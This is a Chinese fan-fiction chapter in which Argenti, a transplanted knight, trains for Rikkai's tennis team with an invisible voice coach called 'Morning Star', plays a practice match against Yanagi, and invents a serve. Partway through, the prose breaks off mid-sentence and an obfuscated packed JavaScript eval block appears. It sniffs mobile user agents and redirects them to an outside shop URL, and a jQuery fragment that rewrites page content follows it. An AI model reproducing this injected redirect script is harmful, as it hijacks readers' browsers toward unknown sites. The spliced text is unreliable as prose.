银枝回到家时，已经快晚上八点了。
玛丽在门口迎接他，接过书包，递上拖鞋。艾琳娜从厨房端出温好的晚餐，是和早上一样的日式套餐。
“银枝少爷，需要就餐吗？”
“拿味增汤和米饭来吧。”
银枝坐到餐桌前，拿起筷子，慢慢吃着。他的动作很安静，但脑子里很吵。
今天跟切原赤也的对打让他意识到一个问题。
他的基础是在进步，发球更稳了，正手更顺了，反手也能打出像样的回球了。但这只是“自己跟自己练”的结果。对着墙壁打球，球永远是直线弹回来的；一个人发球，永远没有人告诉他“你的抛球还可以再低一厘米”。
他没有对手。
不对，不能这么说，他有对手，幸村、切原、真田、柳莲二……他们都在球场上。但那是训练，不是比赛。训练的时候，大家各练各的，没有人会专门陪你打练习赛，没有人会盯着你的动作一点点纠正。
银枝放下筷子，端起味增汤，喝了一口。
热汤顺着喉咙流下去，胃里暖洋洋的。
他想起了以前的事。他最初的老师会站在他身后，手把手教他握枪的姿势，告诉他“这一刺的角度偏了一寸”。那种一对一的教学，虽然严格，但有效。
而现在，他没有老师。有的只是一台播放教学视频的电视和一个空荡荡的球场。
思绪流转间，他有了计划。银枝把碗里的饭吃完，站起身，走向书房。坐在书桌前，打开了玛丽为他准备的笔记本电脑。
浏览器的主页是立海大附属中学的官网，书签栏里有一些学习资料。银枝没有点那些，而是闭上眼睛，将意识沉入内心深处。
“世界意识，你在吗？”
过了几秒，那个温和而疲惫的声音在他脑海中响起。
“我在。骑士，有什么事？”
“我需要一位网球老师。”银枝说，“只靠自己单练，效率太低了。我没办法积累对战经验，也没有人及时指出我的问题。这样下去，我没办法在短时间内变强。”
世界意识沉默了片刻。
“你的请求很合理。但我的干预是有限的。我不能直接改变这个世界的规则，也不能凭空给你创造一个‘人’。”
“那怎么办？”
“办法是有的。”世界意识的声音变得认真起来，“我可以将‘经验’凝聚成‘形’。这个世界上没有一个人能同时拥有所有顶级选手的经验，但数据可以。”
“我可以收集现存最强网球选手的比赛数据、训练记录、技术特点，将它们整合成一个‘经验集合体’。它不是人类，不会出现在任何人面前，但它可以在你的脑海里为你提供指导。”
银枝的眼睛亮了起来。
“就像……一个幽灵教练？”
“差不多。但它没有实体，只有声音和影像。你可以随时召唤它，它会根据你的需求给出最合适的建议。”
“那它叫什么？”
“你可以自己取名。它只是一个工具，名字不重要。”
银枝想了想。
“那就叫‘晨星’吧。”他说，“在旅途中，晨星是我最可靠的指引。”
“好。从现在起，它就是‘晨星’了。”
银枝结束了和世界意识的对话，洗了澡，换好睡衣躺到了床上。
他闭上眼睛，在心中默念：“晨星。”
然后，他听到了一个声音。
不是世界意识的声音，而是一个新的声音，清澈、中性、不带任何感情色彩，像是一台机器在说话，又像是一本书在被朗读。
“您好，银枝先生。我是‘晨星’，您专属的网球教学系统。我收录了该星球现存最强网球选手的比赛数据和技术参数，包括职业选手、大学生选手、高中生选手中的顶尖者。我将根据您的实时表现，为您提供最合适的训练建议和战术分析。”
银枝睁开眼睛。
房间里什么也没有，只有窗外的月光和远处偶尔传来的汽车声。
但那个声音是真实的。
“你现在在我身边吗？”银枝问。
“我存在于您的感知中。您不需要用眼睛看我，只需要用耳朵听我。”
“那你能看到我吗？”
“我可以感知您的身体状态，如心率、肌肉疲劳度、关节角度、击球数据等。我可以记录你的每一次挥拍、跑动、击球，并给出数据分析和改进建议。”
银枝坐起身来。
“那现在就开始吧。”他跃跃欲试。
“现在？”那个声音顿了顿，“您现在应该休息。您的身体疲劳度是67%，建议睡眠时间不少于七小时。”
“我不累。”
“您的数据告诉我，您在撒谎。”
银枝：“……”
他沉默了两秒，然后重新躺回床上。
“好吧。那明天早上，你能叫醒我吗？”
“可以。您希望几点起床？”
“五点半。”
“建议六点。五点半起床会导致睡眠不足，影响训练效率。”
“那就六点。”
“好的。晚安，银枝先生。”
“晚安，晨星。”
银枝闭上眼睛，嘴角带着一丝笑意。
他终于有了一个“老师”。
虽然它只是一个声音，只是一个“晨星”。
但它能看见他，能指导他，能告诉他“你的动作哪里不对”。
这就够了。
第二天清晨，六点整。
“银枝先生，该起床了。”
银枝睁开眼睛，只觉得神清气爽。他坐起身，伸了个懒腰。
“我现在该做什么？”
“洗漱，吃早餐，然后去球场。”
银枝依言行事。洗漱、换运动服、吃早餐。玛丽看到他的时候，愣了一下：“银枝少爷，今天怎么这么早？”
“我想多练一会儿。”
玛丽没有多问，只是默默把早餐端上来。
吃完早餐，银枝走进网球场。
球场的灯亮着，绿色的场地上白色的边线清晰可见。他拿起球拍，走到底线。
“先不急，现在开始热身。”晨星的声音响起，“绕场慢跑五圈，然后做拉伸运动。热身不充分会导致受伤。”
银枝点了点头，放下球拍开始慢跑。
五圈跑完，他按照晨星的要求又做了十分钟的拉伸。
“热身完毕。今天的训练内容是发球。您的发球存在以下问题：抛球高度不稳定，击球点位置偏差较大，身体重心转移不流畅。我将为您播放一段慢动作示范——来自职业选手的视角。”
银枝眼前的虚空中，出现了一个半透明的影像。
不是全息投影，而是直接投射在他视网膜上的画面，就像他在旅途中使用过的头盔显示器一样。一个看不清面目的选手站在底线，抛球、屈膝、转体、挥拍……每一个动作都被拆解成慢动作，每一帧都标注着关节角度和重心位置。
“注意他的抛球手。当球离开手掌时，手臂是伸直的，球是被‘托’上去的，而不是‘扔’上去的。你的抛球动作太像‘扔’了，导致球的落点不稳定。”
银枝盯着那个影像，反复看了十几遍。
然后他走到底线，拿起一颗球。
抛球——手臂伸直，球被“托”起来。
屈膝——身体微微下蹲。
转体——腰部的力量带动手臂。
挥拍——“啪。”
球飞出去，在发球区内弹了一下，然后撞上后墙。
“好了一些，但还有问题。”晨星说，“你的击球点太低了。理想击球点应该在最高点，你的击球点低了大约十厘米。再来一次。”
银枝又拿起一颗球。
抛球、屈膝、转体、挥拍——
“啪。”
“还是低了大约八厘米。注意手臂的伸展角度。挥拍时要感觉手臂像是被拉长了一样。”
银枝点了点头，继续发球。
一颗，两颗，三颗……
晨星不断地纠正：
“抛球偏左了。”
“重心转移太慢了。”
“手腕太僵硬了。”
“旋转不够。”
银枝一遍又一遍地发球，手臂从轻松到酸软，从酸软到麻木。但他的发球在进步，这一点他能清晰地感觉到。
五十颗之后，晨星说：“休息五分钟。”
银枝依言放下球拍，走到场边喝水。
“你的进步速度很快。”晨星说，“比数据库中的平均水平高出约四倍。”
“是吗？”银枝擦了擦汗，“可能是因为我有经验。”
“什么经验？”
“苦修的经验。”银枝说，“我以前练枪的时候，也是一遍又一遍地刺同一个目标。枯燥、重复、无聊。但我知道，只有熬过这些，才能变强。”
晨星沉默了片刻。
“你的心态很好。继续吧。”
接下来的两天，银枝每天早起练球一小时，放学后再练两小时。
他的发球稳定了，正手更扎实了，反手也能打出像样的回击了。
但晨星告诉他：“你的基础在进步，但你缺少对战经验。一个人打墙和打比赛是完全不同的。你需要和真实的人对战，才能检验你的训练成果。”
“我知道。”银枝说，“但训练的时候，大家各练各的，没有人专门陪我打练习赛。”
“那你需要主动去约。”
“切原约过我几次，但都被真田副部长阻止了。”
“你可以找柳莲二。”晨星给出建议。
银枝想了想，点了点头。
“柳前辈的数据网球可以帮我训练战术意识，我会去询问他的。”
银枝打定主意，决定明天去找柳莲二。
周四下午，网球部训练开始前，银枝走到柳莲二面前。
“柳前辈，能请您和我打一场练习赛吗？”
柳莲二抬起头，看了他一眼。
“为什么找我？”
“因为我想提升战术意识。您的数据网球最适合帮我发现自己的问题。”
柳莲二沉默了片刻，然后合上笔记本。
“好。十分钟，一局定胜负。”
“谢谢柳前辈。”
两人走到球场两端。
真田站在场边，看着他们，没有阻止。切原凑过来，蹲在地上看。
“柳前辈要打练习赛？少见啊。”
“是因为银枝吧。”丸井吹着泡泡糖，“柳对他很感兴趣。”
比赛开始。
柳莲二的球风稳健、精准、没有破绽。他的每一球都打在银枝最不舒服的位置，左手底线、右手网前、反手位深球、正手位短球，银枝被迫不停地跑动，每一次击球都像是在应付，而不是在进攻。
比分迅速来到3-0。
“你的步法很好。”柳莲二在对面说，“但你的击球意图太明显了。我在你挥拍的瞬间就能判断出球的方向和落点。”
银枝喘着气，点了点头。
他知道柳莲二说的是对的。他的击球太“直”了。没有假动作，没有节奏变化，没有“欺诈”。他打什么球，就是什么球，对手一眼就能看穿。
“你需要学会隐藏。”柳莲二说，“不是改变你的击球方式，而是让你在不同的击球之间，没有差别。”
银枝想了想，然后闭上了眼睛。
“他要闭着眼睛打球？”切原惊讶。
柳莲二也愣了一下，但没有说什么，只是发球。
球飞来。
银枝没有用眼睛去看，而是用耳朵去听，球拍击球的声音、球破空的声音、球落地的声音。
他挥拍。
“啪。”
球被回了过去，落点在柳莲二的反手位。
柳莲二回击，球飞向银枝的正手位底线。
银枝冲过去，挥拍——球擦网而过，落在柳莲二的网前。
“好球！”切原喊了一声。
柳莲二没有说话。他看着银枝，嘴角微微上扬，“很有悟性嘛。”
比赛继续。
银枝闭着眼睛打了三局，每一局都在进步。虽然最终还是以4-6输了，但柳莲二在赛后主动走到网前，伸出手。
“你的听觉很灵敏。如果你能把这种‘感知’用在战术判断上，你会变得很可怕。”
银枝握住他的手：“谢谢柳前辈。”
“不用谢。”柳莲二松开手，回到场边，翻开笔记本，写道：
“银枝，闭眼击球测试。结果：步法依旧优秀，击球精准度下降约30%，但球路变得难以预测。原因：视觉干扰消除后，对手无法从他的眼神和头颈动作判断球路。建议：将‘闭眼’与‘睁眼’结合使用，形成节奏变化。”
他合上笔记本，看着那个红发少年。
“银枝君，你会是立海大的“变数”吗?”
当天晚上，银枝躺在床上，盯着天花板。
“晨星。”他在心中默念。
“我在。”
“今天的练习赛，你觉得我哪里问题最大？”
“战术意识。你的身体素质很好，反应速度很快，步法也很优秀。但就像柳莲二说的那样，你的击球意图太明显了，对手很容易预判。你需要学会隐藏，但不是完全隐藏，而是让对手不知道该相信什么。”
“就像柳前辈说的，让不同的击球之间没有差别？”
“对。但这需要时间。我建议你从‘发球’开始。发球是最容易隐藏意图的环节，因为你只需要面对自己，不需要考虑对手的反应。”
“好。那从明天开始，加练发球。”
“还有一件事。”晨星说，“立海大网球部的正选选拔赛将在三周后举行。你现在是部员，但不是正选。如果你想成为正选，需要在选拔赛中取得前六名的成绩。”
银枝坐起身来。
“前六名？”
“立海大正选通常为七人——幸村精市、真田弦一郎、柳莲二、柳生比吕士、仁王雅治、丸井文太、切原赤也。胡狼桑原为替补，但也算正选阵容。正选选拔赛的规则是：所有非正选部员参加预选赛，前四名与正选后四名进行替换赛。胜者成为新正选。”
银枝想了想。
“也就是说，我需要先打败非正选中的对手，然后打败正选中的某个人。”
“是的。以你目前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612281|205981||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实力，击败非正选没有问题。但正选嘛，即使是排名最靠后的正选都是全国级别的选手。你现在的胜率很低。”
“多低？”
“如果明天就打，胜率不足一成。”
银枝沉默了片刻。
“那三周后呢？”
“如果你按照我的计划训练，胜率可以提升到四成。”
“四成……”银枝喃喃，“不够。”
“确实不够。但你可以通过比赛积累经验，观察对手的弱点，制定针对性的战术。正选选拔赛不是一场定胜负的淘汰赛，而是积分制。你不需要打败所有人，只需要在循环赛中获得足够的积分。”
银枝重新躺回床上，盯着天花板。
三周。
他只有三周。
“晨星，”他忽然开口，“有没有一种方法，可以让我在短时间内掌握一个‘必杀技’？不是那种靠蛮力的，而是像我在和幸村比赛时最后几局打出的那种球。”
晨星沉默了几秒。
“那种球，是你的‘直觉’和‘经验’共同作用的结果。你见过很多‘美’的事物，你把它们放进了网球里。但那不是技术，那是‘感觉’。感觉无法被训练，但可以被引导。”
“引导？”
“是的。如果你能把那种‘感觉’提炼成一种可重复的、稳定的技术，那它就会成为你的‘技能’。”
银枝的眼睛亮了起来。
“怎么做？”
“你需要找到一个‘锚点’。一个你在球场上可以随时回忆起来的、稳定的‘美’的影像。把它固定在脑海深处，然后每次击球时，把那个影像投射到球上。”
银枝闭上眼睛，在脑海中搜寻。
星云的绚烂？太宏大，不容易抓住。
星河的壮阔？太遥远，不够具体。
星尘的寂寥？太抽象，难以转化为球路。
突然，他想起了那首歌谣。
那首他在旅途中领悟的，关于玫瑰与光芒的歌谣。
“玫瑰盛放，定是为了回应祂的笑容。晨光烁耀，定是为了照亮祂的脸庞。音律奏鸣，定是为了唤醒祂的倦眸。但那光芒一去不复返，他仍奔向远方——只须等待，只须信仰，只须将纯美的一切播撒于寰宇。即使一切都只是留在眼底的片刻，他却已收获想要的答案。”
银枝睁开眼。
“晨星，这首歌谣里的‘光芒’，是什么？”
“在那些传说中，‘光芒’是伊德莉拉留在世间的最后痕迹。它一去不复返，但见过它的人，终其一生都在追寻。”
“那你觉得，我能把那种‘光芒’放进网球里吗？”
晨星沉默了很久。
“我不知道。但你可以试试。”
第二天清晨，银枝比平时起得更早。
他没有去球场，而是站在花园里，看着东方的天空。
日出前的天空是黯淡的，唯有地平线处有一线金色的光。
银枝盯着那线光，脑海中反复回响着那首歌谣。
“晨光烁耀，定是为了照亮祂的脸庞。”他伸出手，仿佛要去触碰那线光。
然后他转身，走进球场。
他拿起球拍，走到底线，闭上眼睛。
脑海中，那线光在燃烧。
他抛起球。
不是用力量，而是用“看见”。
球在空中的轨迹，不是抛物线，而是那线光的延伸。他的球拍迎着球挥出，不是击打，而是“迎接”。
“啪。”
球飞出去。
它的轨迹和以前不一样了，不是更快，不是更刁钻，而是更“亮”。
像是有一束光，跟着那颗球，从银枝的场地飞向对面。
球落地。
在发球区内弹了一下，没有弹第二下。它贴着地面滑了出去，像是被什么东西压住了。
银枝睁开眼睛，看着那颗停在墙角的球。
“这是什么？”他问。
晨星沉默了三秒。
“我不知道。”它说，“数据库中没有类似的击球记录。”
“是好的那种‘不知道’，还是坏的那种？”
“是‘不可量化’的那种。”
银枝笑了，他又拿起一颗球。
同样的抛球，同样的挥拍，同样的“看见”。
“啪。”
球再次飞出，同样的轨迹，同样的“亮”，同样的，贴着地面滑出去。
“再来！”
第三次，第四次，第五次……
银枝连续发了二十颗球，每一颗都有细微的差别，旋转的幅度、滑行的距离、落点的位置都不尽相同。但那种“亮”的感觉，每一颗球都有。
第二十一颗球，银枝的手臂撑不住了。
球拍脱手而出，落在地上。
他撑着膝盖，大口喘气。
但他笑了。
“晨星，”他说，“给这个技能起个名字吧。”
晨星沉默了片刻。
“歌谣里说，‘即使一切都只是留在眼底的片刻’。”
“那就叫‘片刻，留在眼底’。”银枝说。
他直起身，看着手中的球拍。
“这不是力量，不是速度，不是旋转。这是一种确认。确认我所见到的‘美’是真实的，确认我追寻的方向是对的。它不会直接让我赢球，但它会让对手看到这颗球背后的东西。”
晨星没有回答。
银枝也不在乎。
他把球拍放回包里，走出球场。
身后，那颗停在墙角的球，还在缓缓旋转。
当天下午，网球部训练结束后，真田站在场边，宣布了一个消息。
“正选选拔赛将在三周后举行。所有非正选部员必须参加预选赛，前四名进入替换赛。正选后四名——柳生、仁王、丸井、桑原将接受挑战。”
切原吹了声口哨：“柳生前辈要被挑战了？”
柳生推了推眼镜：“你在幸灾乐祸？”
“没有没有！”切原连忙摆手。
真田扫了众人一眼。
“今年的非正选中有几个实力不俗的新人。”他看向银枝，“尤其是你。”
银枝点头：“我会全力以赴。”
“哼。”真田冷哼一声，但嘴角似乎有一丝不易察觉的弧度，“不要大意。”
幸村站在旁边，披着外套，嘴角始终带着温和的笑意。
“银枝君，三周后，我期待看到你的‘纯美’。”
银枝抬起头，看着幸村。
“我会让它‘留在你眼底’。”
幸村愣了一下，然后笑了。“这句话，很有意思呢。”
天已近黄昏，边缘已渐渐泛起一片金黄色的光晕。银枝背起书包，走出校门。
他抬起头，看着天空。
天色并没有完全暗下来，但是银枝似乎已看到第一个星星亮起。
“晚上好，穹。晚上好，波提欧。”他轻声说，“我今天……学会了一个新技能。”
他弯了弯眼睫，然后继续往前走。
身后，立海大网球部的灯光还亮着。
三周后的正选选拔赛，正在一步步逼近。
而他，已经蓄势待发。